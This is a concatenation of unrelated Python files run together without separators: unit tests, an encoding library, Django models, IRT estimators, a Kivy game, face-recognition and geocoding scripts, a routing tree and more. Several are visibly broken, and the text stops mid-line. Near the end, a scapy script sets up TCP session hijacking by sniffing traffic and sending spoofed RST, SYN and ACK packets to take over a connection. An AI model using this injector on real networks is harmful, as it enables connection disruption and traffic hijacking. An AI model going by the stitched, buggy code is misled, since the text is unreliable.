test_multiply(self): self.assertEqual(calc.multiply(10,5), 50) self.assertEqual(calc.multiply(-1,1), -1) self.assertEqual(calc.multiply(-1,-1), 1) def test_divide(self): self.assertEqual(calc.divide(10,5), 2) self.assertEqual(calc.divide(-1,1), -1) self.assertEqual(calc.divide(-1,-1), 1) self.assertEqual(calc.divide(5,2), 2.5) self.assertRaises(ValueError, calc.divide, 10, 0) # - with a context manager with self.assertRaises(ValueError): calc.divide(10,0) if __name__ == '__main__': unittest.main() """ Zero-padded base encodings. Similar to :mod:`~bases.encoding.simple` base encodings, but additionally: - preserves leading zeros - optionally enforces a fixed block size for encoded strings and decoded bytestrings Constructor options: - ``block_nbytes: int`` number of bytes in a block for decoded bytestrings (default: 1) - ``block_nchars: int`` number of chars in a block for encoded strings (default: 1) The static method :meth:`ZeropadBaseEncoding.max_block_nchars` (resp. :meth:`ZeropadBaseEncoding.max_block_nbytes`) gives the maximum block size in chars (resp. bytes) that can be used for a given block size in bytes (resp. chars). This is to ensure that encoding/decoding can always be performed unambiguously. Encoding of a bytestring ``b``: 1. count the number Z of leading zero byte blocks in ``b`` and strip them (default: count zero bytes and strip them) 2. encode ``b`` as a :mod:`~bases.encoding.simple` base encoding would 3. prepend the minimum number of zero chars necessary to make the encoded string length an integral multiple of ``block_nchars`` 4. prepend Z zero char blocks to the encoded string Decoding of a string ``s``: 1. count the number Z of leading zero char blocks in ``s`` and strip them (default: count zero chars and strip them) 2. decode ``s`` as a :mod:`~bases.encoding.simple` base encoding would 3. prepend the minimum number of zero bytes necessary to make the decoded bytestring length an integral multiple of ``block_nbytes`` 4. prepend Z zero byte blocks to the encoded string """ import math from typing import Any, Dict, Mapping, Optional, Union from typing_validation import validate from bases.alphabet import Alphabet from .base import BaseEncoding, _lstrip_memview from .simple import SimpleBaseEncoding class ZeropadBaseEncoding(BaseEncoding): """ Zero-added base encodings. :param alphabet: the alphabet to use for the encoding :type alphabet: :obj:`str`, :obj:`range` or :class:`~bases.alphabet.abstract.Alphabet` :param case_sensitive: optional case sensitivity (if :obj:`None`, the one from the alphabet is used) :type case_sensitive: :obj:`bool` or :obj:`None`, *optional* :param block_nbytes: number of bytes in a block for decoded bytestrings (default: 1) :type block_nbytes: :obj:`int`, *optional* :param block_nchars: number of chars in a block for encoded strings (default: 1) :type block_nchars: :obj:`int`, *optional* """ _simple_encoding: SimpleBaseEncoding _block_nbytes: int _block_nchars: int def __init__(self, alphabet: Union[str, range, Alphabet], *, case_sensitive: Optional[bool] = None, block_nbytes: int = 1, block_nchars: int = 1): validate(block_nbytes, int) validate(block_nchars, int) super().__init__(alphabet, case_sensitive=case_sensitive) self._simple_encoding = SimpleBaseEncoding(self.alphabet) self._block_nbytes = block_nbytes self._block_nchars = block_nchars self.__validate_init() def __validate_init(self) -> None: base = self.base block_nbytes = self.block_nbytes block_nchars = self.block_nchars max_block_nbytes = ZeropadBaseEncoding.max_block_nbytes(base, block_nchars) max_block_nchars = ZeropadBaseEncoding.max_block_nchars(base, block_nbytes) if block_nchars > max_block_nchars: raise ValueError(f"Number of characters allowed per zero-padding block is too large: " f"the maximum for base = {base} and block_nbytes = {block_nbytes} is " f"block_nchars = {max_block_nchars}") if block_nbytes > max_block_nbytes: raise ValueError(f"Number of bytes allowed per zero-padding block is too large: " f"the maximum for base = {base} and block_nchars {block_nchars} is " f"block_nbytes = {max_block_nbytes}") @staticmethod def max_block_nchars(base: int, block_nbytes: int) -> int: """ Returns the maximum integer value for ``block_chars`` such that: .. code-block:: python 256**block_nbytes > base**(block_nchars-1) :param block_nbytes: number of bytes in a block for decoded bytestrings :type block_nbytes: :obj:`int` """ validate(base, int) validate(block_nbytes, int) if base <= 1: raise ValueError("Base must be >= 2.") if block_nbytes <= 0: raise ValueError("Number of bytes per zero-padding block must be positive.") _max_nc = block_nbytes/math.log(base, 256)+1 _max_nc_floor = int(math.floor(_max_nc)) return _max_nc_floor if _max_nc > _max_nc_floor else _max_nc_floor-1 @staticmethod def max_block_nbytes(base: int, block_nchars: int) -> int: """ Returns the maximum integer value for ``block_nbytes`` such that: .. code-block:: python base**block_nchars > 256**(block_nbytes-1) :param block_nchars: number of chars in a block for encoded strings :type block_nchars: :obj:`int` """ validate(base, int) validate(block_nchars, int) if base <= 1: raise ValueError("Base must be >= 2.") if block_nchars <= 0: raise ValueError("Number of chars per zero-padding block must be positive.") _max_nb = block_nchars/math.log(256, base)+1 _max_nb_floor = int(math.floor(_max_nb)) return _max_nb_floor if _max_nb > _max_nb_floor else _max_nb_floor-1 @property def block_nbytes(self) -> int: """ Number of bytes in a block. """ return self._block_nbytes @property def block_nchars(self) -> int: """ Number of characters in a block. """ return self._block_nchars def _num_canonical_bytes(self, b: memoryview) -> int: self._validate_bytes(b) block_nbytes = self.block_nbytes extra_bytes = len(b)%block_nbytes if extra_bytes == 0: return len(b) # return b return (block_nbytes-extra_bytes)+len(b) # return bytes(chain(repeat(0, block_nbytes-extra_bytes), iter(b))) # return b"\x00"*(block_nbytes-extra_bytes)+b def _canonical_string(self, s: str) -> str: self._validate_string(s) block_nchars = self.block_nchars extra_chars = len(s)%block_nchars if extra_chars == 0: return s return self.zero_char*(block_nchars-extra_chars)+s def _encode(self, b: memoryview) -> str: canonical_nbytes = self._num_canonical_bytes(b) block_nbytes = self.block_nbytes block_nchars = self.block_nchars zero_char = self.zero_char # strip leading zero bytes # b_stripped = b.lstrip(b"\x00") b_stripped = _lstrip_memview(b) # compute simple base encoding s = self._simple_encoding.encode(b_stripped) # pad simple base encoding to integral multiple of block char size extra_chars = len(s)%block_nchars if extra_chars != 0: s = zero_char*(block_nchars-extra_chars)+s # count leading zero blocks num_zero_blocks = (canonical_nbytes-len(b_stripped))//block_nbytes # return zero-padded base encoding s = zero_char*num_zero_blocks*block_nchars+s return s def _decode(self, s: str) -> bytes: s = self._canonical_string(s) block_nbytes = self.block_nbytes block_nchars = self.block_nchars # strip leading zero chars s_stripped = s.lstrip(self.zero_char) # compute simple base decoding b = self._simple_encoding.decode(s_stripped) # pad simple base decoding to integral multiple of block byte size extra_bytes = len(b)%block_nbytes if extra_bytes != 0: b = b"\x00"*(block_nbytes-extra_bytes)+b # compute leading zero blocks num_zero_blocks = (len(s)-len(s_stripped))//block_nchars # return zero-padded base decoding b = b"\x00"*num_zero_blocks*block_nbytes+b return b def options(self, skip_defaults: bool = False) -> Mapping[str, Any]: validate(skip_defaults, bool) options: Dict[str, Any] = {} if not skip_defaults or self.block_nbytes != 1: options["block_nbytes"] = self.block_nbytes if not skip_defaults or self.block_nchars != 1: options["block_nchars"] = self.block_nchars return options from scipy.io import wavfile from matplotlib.pyplot import specgram import matplotlib.pyplot as plt # 当然,我们也可以把每一种的音乐都抽一些出来打印频谱图以便比较,如下图: def plotSpec(g,n): sample_rate, X = wavfile.read("D:/tmp/genres/"+g+"/converted/"+g+"."+n+".au.wav") specgram(X, Fs=sample_rate, xextent=(0,30)) plt.title(g+"_"+n[-1]) plt.figure(num=None, figsize=(18, 9), dpi=80, facecolor='w', edgecolor='k') plt.subplot(6,3,1);plotSpec("classical","00001");plt.subplot(6,3,2);plotSpec("classical","00002") plt.subplot(6,3,3);plotSpec("classical","00003");plt.subplot(6,3,4);plotSpec("jazz","00001") plt.subplot(6,3,5);plotSpec("jazz","00002");plt.subplot(6,3,6);plotSpec("jazz","00003") plt.subplot(6,3,7);plotSpec("country","00001");plt.subplot(6,3,8);plotSpec("country","00002") plt.subplot(6,3,9);plotSpec("country","00003");plt.subplot(6,3,10);plotSpec("pop","00001") plt.subplot(6,3,11);plotSpec("pop","00002");plt.subplot(6,3,12);plotSpec("pop","00003") plt.subplot(6,3,13);plotSpec("rock","00001");plt.subplot(6,3,14);plotSpec("rock","00002") plt.subplot(6,3,15);plotSpec("rock","00003");plt.subplot(6,3,16);plotSpec("metal","00001") plt.subplot(6,3,17);plotSpec("metal","00002");plt.subplot(6,3,18);plotSpec("metal","00003") plt.tight_layout(pad=0.4, w_pad=0, h_pad=1.0) # plt.savefig("D:/compare.au.wav.png", bbox_inches="tight") plt.show()from uuid import uuid4 from django.conf import settings from django.db import models class Like(models.Model): id = models.UUIDField(primary_key=True, default=uuid4, editable=False) item = models.ForeignKey( "kollect.Item", on_delete=models.CASCADE, related_name="likes" ) created_at = models.DateTimeField(auto_now_add=True) created_by = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE) class Meta: app_label = "kollect" unique_together = (("item", "created_by"),) import numpy as np from scipy.optimize import fmin_slsqp, fminbound from scipy.special import expit from girth.utilities import (convert_responses_to_kernel_sign, mml_approx, trim_response_set_and_counts, validate_estimation_options) __all__ = ["rasch_jml", "onepl_jml", "twopl_jml"] def _jml_abstract(dataset, _item_min_func, discrimination=1, max_iter=25): """ Defines common framework for joint maximum likelihood estimation in dichotomous models.""" unique_sets, counts = np.unique(dataset, axis=1, return_counts=True) n_items, _ = unique_sets.shape # Use easy model to seed guess alphas = np.full((n_items,), discrimination, dtype='float') # discrimination betas = mml_approx(dataset, alphas) # difficulty # Remove the zero and full count values unique_sets, counts = trim_response_set_and_counts(unique_sets, counts) n_takers = unique_sets.shape[1] the_sign = convert_responses_to_kernel_sign(unique_sets) thetas = np.zeros((n_takers,)) for iteration in range(max_iter): previous_betas = betas.copy() ##################### # STEP 1 # Estimate theta, given betas # Loops over all persons ##################### for ndx in range(n_takers): # pylint: disable=cell-var-from-loop scalar = the_sign[:, ndx] * alphas def _theta_min(theta): otpt = np.exp(scalar * (theta - betas)) return np.log1p(otpt).sum() # Solves for the ability for each person thetas[ndx] = fminbound(_theta_min, -6, 6) # Recenter theta to identify model thetas -= thetas.mean() thetas /= thetas.std(ddof=1) ##################### # STEP 2 # Estimate Item Parameters # given Theta, ##################### alphas, betas = _item_min_func(n_items, alphas, thetas, betas, the_sign, counts) if(np.abs(previous_betas - betas).max() < 1e-3): break return {'Discrimination': alphas, 'Difficulty': betas} def rasch_jml(dataset, discrimination=1, options=None): """ Estimates difficulty parameters in an IRT model Args: dataset: [items x participants] matrix of True/False Values discrimination: scalar of discrimination used in model (default to 1) options: dictionary with updates to default options Returns: difficulty: (1d array) estimates of item difficulties Options: * max_iteration: int """ options = validate_estimation_options(options) # Defines item parameter update function def _item_min_func(n_items, alphas, thetas, betas, the_sign, counts): # pylint: disable=cell-var-from-loop for ndx in range(n_items): scalar = alphas[0] * the_sign[ndx, :] def _beta_min(beta): otpt = np.exp(scalar * (thetas - beta)) return np.log1p(otpt).dot(counts) # Solves for the beta parameters betas[ndx] = fminbound(_beta_min, -6, 6) return alphas, betas result = _jml_abstract(dataset, _item_min_func, discrimination, options['max_iteration']) return result def onepl_jml(dataset, options=None): """ Estimates parameters in an 1PL IRT Model. Args: dataset: [items x participants] matrix of True/False Values options: dictionary with updates to default options Returns: discrimination: (float) estimate of test discrimination difficulty: (1d array) estimates of item diffiulties Options: * max_iteration: int """ options = validate_estimation_options(options) # Defines item parameter update function def _item_min_func(n_items, alphas, thetas, betas, the_sign, counts): # pylint: disable=cell-var-from-loop def _alpha_min(estimate): # Initialize cost evaluation to zero cost = 0 for ndx in range(n_items): # pylint: disable=cell-var-from-loop scalar = the_sign[ndx, :] * estimate def _beta_min(beta): otpt = np.exp(scalar * (thetas - beta)) return np.log1p(otpt).dot(counts) # Solves for the difficulty parameter for a given item at # a specific discrimination parameter betas[ndx] = fminbound(_beta_min, -6, 6) cost += _beta_min(betas[ndx]) return cost min_alpha = fminbound(_alpha_min, 0.25, 5) alphas[:] = min_alpha return alphas, betas result = _jml_abstract(dataset, _item_min_func, discrimination=1, max_iter=options['max_iteration']) result['Discrimination'] = result['Discrimination'][0] return result def twopl_jml(dataset, options=None): """ Estimates parameters in a 2PL IRT model. Args: dataset: [items x participants] matrix of True/False Values options: dictionary with updates to default options Returns: discrimination: (1d array) estimates of item discrimination difficulty: (1d array) estimates of item difficulties Options: * max_iteration: int """ options = validate_estimation_options(options) # Defines item parameter update function def _item_min_func(n_items, alphas, thetas, betas, the_sign, counts): # pylint: disable=cell-var-from-loop for ndx in range(n_items): def _alpha_beta_min(estimates): otpt = np.exp((thetas - estimates[1]) * the_sign[ndx, :] * estimates[0]) return np.log1p(otpt).dot(counts) # Solves jointly for parameters using numerical derivatives otpt = fmin_slsqp(_alpha_beta_min, (alphas[ndx], betas[ndx]), bounds=[(0.25, 4), (-6, 6)], disp=False) alphas[ndx], betas[ndx] = otpt return alphas, betas return _jml_abstract(dataset, _item_min_func, discrimination=1, max_iter=options['max_iteration']) s0hailAnsari/ARCIT """Form for hospital""" from django import forms from .models import Hospital class HospitalRegisterationForm(forms.ModelForm): '''Hospital reigsteration form''' specialization = forms.CharField(required=True, widget=forms.TextInput( attrs={ 'autocomplete':'off', 'data-url': "/HSAC", })) class Meta: model = Hospital fields = ('name', 'address', 'email', 'website', 'registeration_number', 'phone_number', 'specialization',) import random from kivy.app import App from kivy.uix.boxlayout import BoxLayout from kivy.uix.label import Label from kivy.properties import ObjectProperty, StringProperty from task_widgets.task_base.mixins import StartOnTimeoutMixin from answer_widgets import BoxButtonsAnswerWidget, DisappearOnCorrectAnswerButton from description_widgets import BaseDescriptionWidget from task_widgets.task_base.base import BaseTask from utils import import_kv import_kv(__file__) class RememberSequenceSequenceWidget(Label): pass class RememberSequenceHintWidget(Label): pass class RememberSequenceDescriptionWidget(BoxLayout, BaseDescriptionWidget): HINT_WIDGET_CLASS = RememberSequenceHintWidget SEQUENCE_WIDGET_CLASS = RememberSequenceSequenceWidget hint_widget = ObjectProperty() sequence_widget = ObjectProperty() remain_bar = ObjectProperty() text_after_hide = StringProperty() def __init__(self, **kwargs): super(RememberSequenceDescriptionWidget, self).__init__(**kwargs) self.hint_widget = self.HINT_WIDGET_CLASS() self.add_widget(self.hint_widget) self.sequence_widget = self.SEQUENCE_WIDGET_CLASS() self.add_widget(self.sequence_widget) def hide_sequence(self): self.remove_widget(self.sequence_widget) self.hint_widget.text = self.text_after_hide class RememberSequenceAnswerWidget(BoxButtonsAnswerWidget): BUTTON_WIDGET_CLASS = DisappearOnCorrectAnswerButton class RememberSequence(BaseTask, StartOnTimeoutMixin): DESCRIPTION_WIDGET_CLASS = RememberSequenceDescriptionWidget ANSWER_WIDGET_CLASS = RememberSequenceAnswerWidget TIME_PER_ELEMENT = 0.2 def __init__(self, **kwargs): self.sequence = [] self.buttons = [] self.current_sequence_index = 0 BaseTask.__init__(self, **kwargs) self.SHOW_TIME = self.TIME_PER_ELEMENT * self.SIZE def generate_alphabet(self): raise NotImplementedError() def get_description_widget(self): for _ in xrange(self.SIZE): self.sequence.append(random.choice(self.generate_alphabet())) widget = self.DESCRIPTION_WIDGET_CLASS() widget.sequence_widget.text = " ".join(self.sequence) return widget def get_answer_widget(self): variants = list(self.sequence) random.shuffle(variants) container = super(RememberSequence, self).get_answer_widget() container.add_variants(variants, self._check_answer) return container def on_timeout(self, *args, **kwargs): StartOnTimeoutMixin.on_timeout(self, *args, **kwargs) self.description_widget.hide_sequence() self.main_area.add_widget(self.get_answer_widget()) self.correct_answer = self.sequence[self.current_sequence_index] # overload adding widgets and start logics def add_main_widgets(self): pass def on_intro_hint_hide(self): self.description_widget = self.get_description_widget() self.main_area.add_widget(self.description_widget) def _reset_buttons(self): for button in self.buttons: if button.correctness_state is False: button.un_check() def on_incorrect_answer(self, button): App.get_running_app().sounds['fail'].play() from managers.vibration import vibration_manager vibration_manager.vibrate(100) button.mark_incorrect() self.mistakes_count += 1 def on_correct_answer(self, button): App.get_running_app().sounds['success'].play() button.mark_correct() button.unbind(on_press=self._check_answer) self.num_succeed += 1 # if last letter if self.current_sequence_index == self.SIZE - 1: self.finish() else: self._reset_buttons() self.current_sequence_index += 1 self.correct_answer = self.sequence[self.current_sequence_index] attendencemain.py import os import face_recognition import cv2 import numpy as np from PIL import Image,ImageDraw import pickle def verify(v,we): import remove as f known_face_encodings=[] known_face_names=[] m=1 f.clean(v) t=None l=[] r=[] b=[] u=[] fonts = cv2.FONT_HERSHEY_SIMPLEX w=0 # org org = (50, 50) # fontScale fontScale = 1.3 # Blue color in BGR color = (255, 0, 0) # Line thickness of 2 px thickness = 4 s=[] all_face_encodings = {} path1 =v+"/" h="" d=[] listing = os.listdir(path1) for file in listing: k=str(file) print(file) for p in k: if p=='.': break h=h+p d.append(h) h="" print("Face Training and Encoding##",end="") for o in d: shah_image = face_recognition.load_image_file(v+"/"+str(o)+".jpg") np.save(v+"/"+str(o),shah_image) print("#",end ="") shah_encoding = face_recognition.face_encodings(shah_image)[0] np.save(v+"/"+str(o)+"-en",shah_encoding) print("#",end ="") for o in d: shah_image=np.load(v+"/"+str(o)+".npy") all_face_encodings[str(o)] = face_recognition.face_encodings(shah_image)[0] print("#",end ="") with open(v+"/"+'dataset_sali1.dat', 'wb') as f: pickle.dump(all_face_encodings, f) print("Completed") print("\nComparison Starting [##",end="") for o in d: print("##",end ="") shah_encoding=np.load(v+"/"+str(o)+"-en.npy") known_face_encodings.append(shah_encoding) known_face_names.append(str(o)) test_images=face_recognition.load_image_file(we) face_locations=face_recognition.face_locations(test_image) face_encoding = face_recognition.face_encodings(test_image,face_locations) pil_image=Image.fromarray(test_image) draw=ImageDraw.Draw(pil_image) for (top,right,bottom,left) ,face_encoding in zip(face_locations,face_encodings): matches=face_recognition.compare_faces(known_face_encodings,face_encoding) print("#",end ="") name="" if True in matches: print("#",end ="") first_match_index=matches.index(True) name=known_face_names[first_match_index] draw.rectangle(((left+2,top+2),(right+2,bottom+2)),outline=(0,255,255),width=5) print("#",end ="") text_width,text_height=draw.textsize(name) #draw.rectangle(((left,bottom-text_height-10),(right,bottom)),fill=(0,0,0),outline=(0,0,0),width=5) #draw.text((left+6,bottom-text_height-5),name,fill=(255,255,255,255)) l.append(left) r.append(right) print("#",end ="") u.append(text_height) b.append(bottom) # print(name) s.append(name) print("#",end ="") w=w+1 del draw import ex as et # print(s) ku=et.reads(s,v) print("##]Completed") pu=0 for ju in ku: pu=pu+1 if pu==0: print("All are present") else: for ju in ku: print(ju) print("are absent") img = np.array(pil_image) img= cv2.cvtColor(img, cv2.COLOR_BGR2RGB) # print(s) for t in s: print(".",end="") if t is not None : for z in range(0,w): # print(t) img= cv2.putText(img,s[z],(l[z]+6,b[z]-u[z]), fonts, fontScale, color, thickness,cv2.LINE_AA) # scale_percent = 60 # percent of original size #width = int(img.shape[1] * scale_percent / 100) #height = int(img.shape[0] * scale_percent / 100) #dim = (width, height) #img = cv2.resize(img, dim, interpolation = cv2.INTER_AREA) cv2.imshow("test",img) print("press any key to continue") cv2.waitKey(0) cv2.destroyAllWindows() #verify("classf") import json import time import multiprocessing as mp import urllib.request import pandas as pd import coordinates_transform as ct ak = '' def geo_coding(): global ak filename = r'F:\data\form\hn-illegal\csv\hn_accidents.csv' dataset = pd.read_csv(filename, low_memory=False) pool_results = [] num_pro = int(mp.cpu_count()) size, interval = len(dataset), len(dataset) // num_pro start, end = -1, -1 pool = mp.Pool() for processor_index in range(num_pro): start = end + 1 if processor_index == num_pro - 1: end = size - 1 else: end += interval pool_results.append( pool.apply_async(single_geo_coding, args=([processor_index, interval, dataset.loc[start:end, :], ak]))) pool.close() pool.join() results = [] for pool_result in pool_results: results.append(pool_result.get()) final_dataset = pd.concat(results) print('Result length:', len(final_dataset)) final_dataset.to_csv(r'F:\data\form\hn-illegal\csv\hn_accidents_geo_1.csv', index=False, sep=',') def single_geo_coding(processor_index, interval, dataset, l_ak): print('Processor ' + str(processor_index) + ' started!') for i, row in dataset.iterrows(): if row['coding_level'] == '-': try: url = 'https://api.map.baidu.com/geocoding/v3/?address={}&output=json&ak={}&city={}&ret_coordtype=gcj02ll'.format( urllib.request.quote(row['address']), l_ak, urllib.request.quote('嘉兴市')) request = urllib.request.Request(url) page = urllib.request.urlopen(request, timeout=0.5) res = json.load(page) if res['status'] == 0: result = res['result'] lon, lat = ct.gcj02_to_wgs84(result['location']['lng'], result['location']['lat']) comprehension, coding_level = result['comprehension'], result['level'] dataset.iloc[i - processor_index * interval, -4] = lon dataset.iloc[i - processor_index * interval, -3] = lat dataset.iloc[i - processor_index * interval, -2] = comprehension dataset.iloc[i - processor_index * interval, -1] = coding_level time.sleep(0.02) elif res['status'] == 302: break else: print('API-FAILED!', res['status']) except: print('API-FAILED!', -1) if (i - processor_index * interval + 1) % 200 == 0: print('Processor ' + str(processor_index) + ' finished ' + str( i - processor_index * interval + 1) + ' lines!') print('Processor ' + str(processor_index) + ' all finished!', len(dataset)) return dataset if __name__ == '__main__': geo_coding() python/MiscScripts/English.py #Достаём словарь из файла def get_dict(f): result = [] #Список с результатом i=0 #Мтератор buf = str() #Объявляем буффер для символов spec_sym = '-','\n' #Спецсимволы while(f): #Пока в файле что-то есть result.append([]) #Добавляем к концу массива список for x in range(2): result[i].append('') #К нему пустую строку while True: buf=f.read(1) #Читаем символ в buf if(buf!=spec_sym[x]): #Проверяем на спецсимвол result[i][x] += buf #Если не он, то строим слово else: break ++i return result #Пишем слово и запрашиваем перевод def transl(s): r = random.randomint(0,1) ask = '' print(s[r],'-',end=' ') input(ask) if (ask==s[1-r]): print('Правильно') else: print('Неправильно') import random try: f = open(r'dictionary.txt') dictionary = get_dict(f) f.close() #if len(dictionary)==0: # raise EmptyDict welcome = 'Программа для запоминания английских слов v 0.1.1\n\ Чтобы выйти, введите в поле ответа exit' print(welcome) while len(dictionary): r = random.randomint(0,len(dictionary)-1) transl(dictionary[r]) del dictionary[r] print() except IOError: print('Runtime error: file "dictionary.txt" not found') input() #except EmptyDict: # print('Runtime error: dictionary is empty') # input()JugalBoro/trip-based-routing- ### TBRoutingEngine internal types - transfer patterns: tp-tree and its nodes import itertools as it, operator as op, functools as ft from collections import namedtuple, Counter from .. import utils as u @u.attr_struct(repr=False) class TPNodeID: prefix = u.attr_init() t = u.attr_init() k = u.attr_init() def __hash__(self): return hash((self.prefix, self.t, self.k)) def __repr__(self): return ''.format(self) @classmethod def for_k_type(cls, prefix, k): t = k.__class__.__name__.lower() return cls(prefix, t, k) @u.attr_struct(repr=False) class TPNode: value = u.attr_init() id = u.attr_init() edges_to = u.attr_init(set) seed = u.attr_init_id() def __hash__(self): return hash(self.id) def __repr__(self): return ( '' ).format(self.seed, self.id, len(self.edges_to)) TPTreeCounters = namedtuple('TPTreeCounters', 'total prefix') TPTreeStats = namedtuple('TPTreeStats', 'nodes nodes_unique t_src t_stop t_line edges') class TPTreeLookupError(Exception): pass class TPTree: def __init__(self, tree=None, stats=None, prefix=None): self.prefix, self.tree = prefix, u.init_if_none(tree, dict) self.stats = u.init_if_none(stats, lambda: TPTreeCounters(Counter(), Counter())) def stat_counts(self): stats = self.stats.total count_node_t = lambda t: sum(v for k,v in stats.items() if k[0] == t) return TPTreeStats( sum(stats.values()), len(stats), count_node_t('src'), count_node_t('stop'), count_node_t('linestop'), sum(len(node.edges_to) for subtree in ([self.tree] if self.prefix else self.tree.values()) for node_dict in subtree.values() for node in node_dict.values() ) ) def path_exists(self, node_src, node_dst): queue = [node_src] while queue: queue_prev, queue = queue, list() for node in queue_prev: if node is node_dst: return True # found path queue.extend(self[k] for k in node.edges_to) return False def node(self, k, value=None, t=None, no_path_to=None): '''Returns node with specified k/t or creates new one with value (or k as a fallback value). If no_path_to node is passed, returned node will never have a path to it, creating another same-k node if necessary.''' assert self.prefix, 'Can only add elements to prefixed subtree' no_path_to = None # XXX: it should be ok to bypass this check, but not 100% sure if isinstance(k, TPNode): k = k.value if not t: node_id = TPNodeID.for_k_type(self.prefix, k) else: node_id = TPNodeID(self.prefix, t, k) if not value: value = k if node_id not in self.tree: node = TPNode(value, node_id) self.tree[node_id] = {node.seed: node} self.stats.total[node_id.t, node_id.k] += 1 # nodes by type/key self.stats.prefix[self.prefix] += 1 # nodes for each prefix else: node_dict = self.tree[node_id] if not no_path_to: node = next(iter(node_dict.values())) else: # find node with no reverse path or create new one for node in node_dict.values(): if not self.path_exists(node, no_path_to): break else: node = TPNode(value, node_id) self.tree[node_id][node.seed] = node return node def _node_id_for_k(self, k, t=None): if isinstance(k, TPNode): k = k.id if not isinstance(k, TPNodeID): k = TPNodeID.for_k_type(self.prefix, k) return k def get_all(self, k, t=None): assert self.prefix, 'Only makes sense for subtrees' return self.tree[self._node_id_for_k(k, t)].values() def __getitem__(self, k): '''Returns subtree for prefix of the main tree, or unique node for specified node/node-id/k (using both id and seed from node objects!). If no unique element can be returned, TPTreeLookupError will be raised. get_all() can be used to fetch duplicate nodes for the same k, or with special t.''' if not self.prefix: return TPTree(self.tree.setdefault(k, dict()), self.stats, k) node_dict = self.tree[self._node_id_for_k(k)] if isinstance(k, TPNode): return node_dict[k.seed] if len(node_dict) != 1: raise TPTreeLookupError('Non-unique node(s) for {}: {}'.format(k, node_dict)) return next(iter(node_dict.values())) 0 #!/usr/bin/python3 # -*- coding: utf-8 -*- from multiprocessing import Queue from threading import Thread from scapy.all import * ip_client = '192.168.1.156' # '192.168.56.102' ip_server = '192.168.1.158' # '192.168.56.101' ''' FIN = 0x01 SYN = 0x02 RST = 0x04 PSH = 0x08 ACK = 0x10 URG = 0x20 ECE = 0x40 CWR = 0x80 ''' class State(): WAITING_CONNECTION = 0 OPENING_SEC_CONNECTION = 1 ACK_STORM = 2 SEND_DATA = 3 CONTINUE_CONNECTION = 4 FINALIZE_CONNECTION = 5 class Host(): def __init__(self, ip, dst_ip=None, port=-1, dst_port=-1, win=None): self.ip = ip self.dst_ip = dst_ip self.port = port self.dst_port = dst_port self.win = win self.seq = 1009872899 self.ack = 0 def set_ip(self, ip): self.ip = ip def set_ports(self, port, dst_port): self.port = port self.dst_port = dst_port def set_win(self, win): self.win = win def refresh(self, pkt): self.win = pkt[TCP].window self.seq = pkt[TCP].seq self.ack = pkt[TCP].ack return True def is_same_params(self, pkt): _check = True if pkt[TCP].window != self.win: _check = False if pkt[TCP].seq != self.seq: _check = False if pkt[TCP].ack != self.ack: _check = False return _check def get_packet(self): _ip = IP(src=self.ip, dst=self.dst_ip) _tcp = TCP(sport=self.port, dport=self.dst_port, seq=self.seq+1, ack=self.ack) _pkt = _ip/_tcp return _pkt class Injector(): def __init__(self, target_ip, wtever_ip, verbose=False): self.verbose = verbose # Connection 1 self.wtever = Host(wtever_ip, dst_ip=target_ip) self.target = Host(target_ip, dst_ip=wtever_ip) # Connection 2 self.fake_wtever = Host(wtever_ip, dst_ip=target_ip) self.well_target = Host(target_ip, dst_ip=wtever_ip) self._state = State.WAITING_CONNECTION # self._iface = 'enp0s3' self.__refreshed = False self.__buf_pkts = Queue() #__parse_pkt self.__storm_count = 0 self.__fake_pkt = list() self.__reached_pkts = 0 def __send_to_target(self, data): _ip = IP( src=self.wtever.ip, dst=self.target.ip ) _tcp = TCP( sport=self.wtever.port, dport=self.target.port ) self.__refreshed = False def __send_fake(self, pkt): # Calculate checksum del pkt.chksum pkt.show2() # POG to recalc checksum self.__fake_pkt.append(pkt) send(pkt) def __initiate_second_connection(self): print("[-] Iniciando segunda conexão.") self._state = State.OPENING_SEC_CONNECTION # Envia RST para o target _pkt = self.wtever.get_packet() _pkt[TCP].flags = 0x04 # RST #_pkt[TCP].ack = self.target.seq + 1 # Must be 0 _pkt[TCP].sport = _pkt[TCP].sport+1 self.__send_fake(_pkt) # Envia solicitação para nova conexão _pkt = self.fake_wtever.get_packet() del _pkt.ack _pkt[TCP].flags = 0x02 # SYN self.__send_fake(_pkt) def __establish_second_connection(self): if self.verbose: print("[V] Estabelecendo segunda conexão 3wHS.") # Envia terceiro pacote do handshake _pkt = self.fake_wtever.get_packet() _pkt[TCP].flags = 0x10 # ACK _pkt[TCP].ack = self.well_target.seq + 1 self.__send_fake(_pkt) self._state = State.ACK_STORM def __waiting_connection(self, pkt): ############################################################ # 1 - Se o pacote é uma abertura de conexão com o target if pkt[IP].dst == self.target.ip and pkt[TCP].flags == 2: # Preencha portas de origem e destino self.target.set_ports( pkt[TCP].dport, pkt[TCP].sport) self.wtever.set_ports( pkt[TCP].sport, pkt[TCP].dport) # Será o mesmo para a segunda conexão self.well_target.set_ports( pkt[TCP].dport, pkt[TCP].sport ) self.fake_wtever.set_ports( pkt[TCP].sport, pkt[TCP].dport ) # Atualiza Window, Sequence e Ack self.wtever.refresh(pkt) # Garante que o refreshed está com valor correto self.__refreshed = True print("[-] Nova conexão com o target.") ############################################################ # 2 - Se é uma resposta a abertura de sessão (SYN+ACK) elif pkt[IP].dst == self.wtever.ip and pkt[TCP].flags == 18: # Atualiza Window, Sequence e Ack self.target.refresh(pkt) self.__initiate_second_connection() ############################################################ # 3 -Se o pacote estiver enviando dados para o target elif pkt[IP].dst == self.target.ip and pkt[TCP].payload: if self.verbose: print("[V] Pacote com dados recebido.") # Atualiza self.wtever.refresh(pkt) # Precaução, já inicia armazenagem de pacotes. #self.__buf_pkts.put(pkt) else: # unknown case pass def __parse_pkt(self, pkt): ''' ''' if TCP not in pkt: return 0 self.__waiting_connection(pkt) def sniff(self): ''' ''' _filter = "(src {} and dst {}) or (src {} and dst {})".format(self.wtever.ip, self.target.ip, self.target.ip, self.wtever.ip) sniff(iface = self._iface, count = 100, filter = _filter, prn = self.__parse_pkt) def atack(self): pass def run(self): ''' ''' self.sniff() #t1 = threading.Thread(target=self.sniff) #t2 = threading.Thread(target=self.atack) #t1.start() #t2.start() #t1.join() #t2.join() if __name__ == '__main__': host_only_my = '192.168.56.110' host_only_server = '192.168.56.101' host_only_client = '192.168.56.102' host_only_atack = '192.168.56.103' # injector = Injector(wtever_ip=host_only_client, target_ip=host_only_server, verbose=True) injector.run() import logging from functools import wraps from types import SimpleNamespace import numpy as np import torch logger = logging.getLogger(__name__) # NOTE: This must match Meta.config["learner_config"]["ignore_index"] IGNORE_INDEX = 